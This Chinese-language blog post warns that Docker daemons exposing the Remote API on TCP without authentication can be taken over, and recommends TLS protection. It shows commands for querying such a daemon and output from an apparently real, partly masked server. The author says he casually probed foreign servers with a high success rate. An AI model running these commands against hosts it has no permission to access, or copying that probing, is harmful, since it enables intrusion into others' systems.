Docker的小问题,安全的大问题
Auth: winger@gnusec
安全问题无出不在, Docker配置需倍加小心. 未授权访问, 秒秒钟被黑.
起因
Docker Remote API
Docker 守护程序可以监听客户端发起的Docker Remote API
请求. 支持三种不同的Socket: unix, tcp, 和 fd.
这本来是个很好的功能, 特别是用来做集群管理的时候. 但是问题出在, 很多人在设置监听的时候, 并没有考虑安全问题, 只是简单的依葫芦画瓢开启了端口, 却没有开启验证(那些开0.0.0.0的你也是够了$_$!!!).
如果认真看完官方文档, 你会发现人家早就考虑了这个问题. 还严重提醒了.
然后到国内呢?
变成这样了
——简单,快捷,有活力——你在逗我吗——
当然也有比较靠谱的版本
漏洞原型
$ sudo docker -H 0.0.0.0:5555 -d &
测试方法
由于未开启验证, 简单连接即可执行命令
docker -H tcp://0.0.0.0:2375 info
docker -H tcp://0.0.0.0:2375 ps
#docker -H tcp://143.248.xx.xx:2375 network inspect 7fc29599xxxx
[
{
"Name": "bridge",
"Id": "7xxx29599122f02cxxx1ea2c6fe09a984c3434xxx1f96e763605ad02291f3b3e",
"Scope": "local",
"Driver": "bridge",
"IPAM": {
"Driver": "default",
"Config": [
{
"Subnet": "172.17.0.0/16",
"Gateway": "172.17.x.x"
}
]
},
"Containers": {
"66569c38de1d4b12b2xxxxf675ebcc4a4fc56f9b6b14ea73axxxxxe2de9e503": {
"EndpointID": "xxx43511c5b1cd88xxx2ce12ee5f668f649b7b68dbxxxx13897263f8dbxxxx",
"MacAddress": "F2:42:ac:xx:00:01",
"IPv4Address": "172.17.0.1/16",
"IPv6Address": ""
},
"a9fba0edf2677404797ca7b2bfc7273f37a53fe4167c6f76388aaxxxxxxxxxxxx": {
"EndpointID": "cbef13f0075c8d6305a21de9135bff564642e35591b996a3e8a2b7b99d7b0a53",
"MacAddress": "xx:42:ac:xx:00:02",
"IPv4Address": "172.17.0.2/16",
"IPv6Address": ""
}
},
"Options": {
"com.docker.network.bridge.default_bridge": "true",
"com.docker.network.bridge.enable_icc": "true",
"com.docker.network.bridge.enable_ip_masquerade": "true",
"com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
"com.docker.network.bridge.name": "docker0",
"com.docker.network.driver.mtu": "1462"
}
}
]
防御方案
- 官方的解决方案 Protect the Docker daemon socket
https://docs.docker.com/engine/security/https/ - 让 Docker 使用 HTTPS
http://longgeek.com/2014/09/14/docker-using-https/
总结
随手测试了一些国外的服务器, 命中率接近90%.
默认密码, 默认设置
, 这类问题看起来很简单, 但是危害确非常严重, 特别是网络未做隔离的情况下, 就能很轻松的打入企业内部.
做运维的同学更要注意些, 平时看起来没什么技术含量的小问题, 往往会成为安全的大问题.
题外话: 学技术还是老老实实看英文的吧. 很多年前流传的那个心机黑客写运维教程
的梗,不是空穴来风的.